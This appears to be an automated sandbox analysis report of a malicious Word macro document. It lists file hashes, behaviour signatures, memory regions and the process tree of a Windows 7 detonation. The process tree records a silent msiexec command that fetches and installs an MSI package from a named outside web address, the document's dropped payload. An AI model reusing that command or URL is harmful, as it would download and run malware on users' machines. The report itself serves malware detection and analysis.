Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    03-07-2024 03:51

General

  • Target

    20fc5a09fb88c413a2f30b7e0e7155ba_JaffaCakes118.doc

  • Size

    57KB

  • MD5

    20fc5a09fb88c413a2f30b7e0e7155ba

  • SHA1

    a17078ec379ec9feba015b90c631073fe858c0a2

  • SHA256

    7aa4bf0cc69f3e9a4087fc134097739ccdfb4c6fbb2c332ff6b85582588aa403

  • SHA512

    d41f071e6a8a6c2cdb052122c7bf3689a45d0736af3e643b622124aef5a97b4d93f072dd7fe84556051535c551f4dfdfe953abc31708648b27b922f463cbe0be

  • SSDEEP

    768:kDk2KPoKpZpVuQTAsaORKy21UCdh+1o9XQOFo1XREUMwhY+mJIZLJ7:kOAQZpV7zaKa1Uu+a9cXR0w4

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Event Triggered Execution: Installer Packages 1 TTPs 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\20fc5a09fb88c413a2f30b7e0e7155ba_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3004
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec /q /i http://lovetthornes.com/shipping/images/elmt.msi
        2⤵
        • Process spawned unexpected child process
        • Use of msiexec (install) with remote resource
        • Event Triggered Execution: Installer Packages
        • Suspicious use of AdjustPrivilegeToken
        PID:2184
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2616

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      9e179f12f440e6d34bbee26dd73f0aa3

      SHA1

      36b468a9eec56404fa4b0d0b5b38b058cb1438b2

      SHA256

      ef9e7cf714c5c5480b0119d4f8e02852961b165ae0d8e69a6fb3bc64cd88c132

      SHA512

      ca18268b6fbcbecbd8ae31402dda3b94f99109b6e70f5866a6401a1c4d2374581c4b7f83d76e2d9fd523704692c5037af88a54174361797aa5faae8362a4f7c1

    • memory/2424-0-0x000000002FD61000-0x000000002FD62000-memory.dmp

      Filesize

      4KB

    • memory/2424-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2424-2-0x0000000070BBD000-0x0000000070BC8000-memory.dmp

      Filesize

      44KB

    • memory/2424-6-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-7-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-8-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-14-0x0000000070BBD000-0x0000000070BC8000-memory.dmp

      Filesize

      44KB

    • memory/2424-15-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-31-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2424-33-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-32-0x0000000070BBD000-0x0000000070BC8000-memory.dmp

      Filesize

      44KB